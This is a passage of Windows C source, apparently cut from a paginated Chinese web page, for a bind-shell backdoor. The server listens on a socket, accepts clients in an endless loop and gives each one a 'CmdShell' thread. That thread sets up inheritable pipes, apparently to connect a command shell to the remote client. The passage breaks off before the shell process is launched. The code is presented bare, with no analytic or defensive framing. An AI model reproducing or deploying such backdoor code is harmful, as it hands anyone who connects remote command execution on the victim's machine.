ct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) { OutputDebugString("Bind Error !\n"); return -1; } if(listen(sServer,5)==SOCKET_ERROR) { OutputDebugString("Listen Error !\n"); return -1; }
hMutex=CreateMutex(NULL,FALSE,NULL); if(hMutex==NULL) { OutputDebugString("Create Mutex Error !\n"); } lpProcessDataHead=NULL; lpProcessDataEnd=NULL;
while(1) { sClient=accept(sServer,NULL,NULL); hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); if(hThread==NULL) { OutputDebugString("CreateThread of CmdShell Error !\n"); break; } Sleep(1000); }
WSACleanup(); return 0; }
DWORD WINAPI CmdShell(LPVOID lpParam) { SOCKET sClient=*(SOCKET *)lpParam; HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell; HANDLE hThread[3]; DWORD dwReavThreadId,dwSendThreadId; DWORD dwProcessId; DWORD dwResult; STARTUPINFO lpStartupInfo; SESSIONDATA sdWrite,sdRead; PROCESS_INFORMATION lpProcessInfo; SECURITY_ATTRIBUTES saPipe; PPROCESSDATA lpProcessDataLast; PPROCESSDATA lpProcessDataNow; char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe); saPipe.bInheritHandle = TRUE; saPipe.lpSecurityDescriptor = NULL; if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) { OutputDebugString("CreatePipe for ReadPipe Error !\n"); return -1; }
if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) { OutputDebugString("CreatePipe for WritePipe Error !\n"); return -1; }
GetStartupInfo(&lpStartupInfo); lpStartupInfo.cb = sizeof(lpStartupInfo); lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |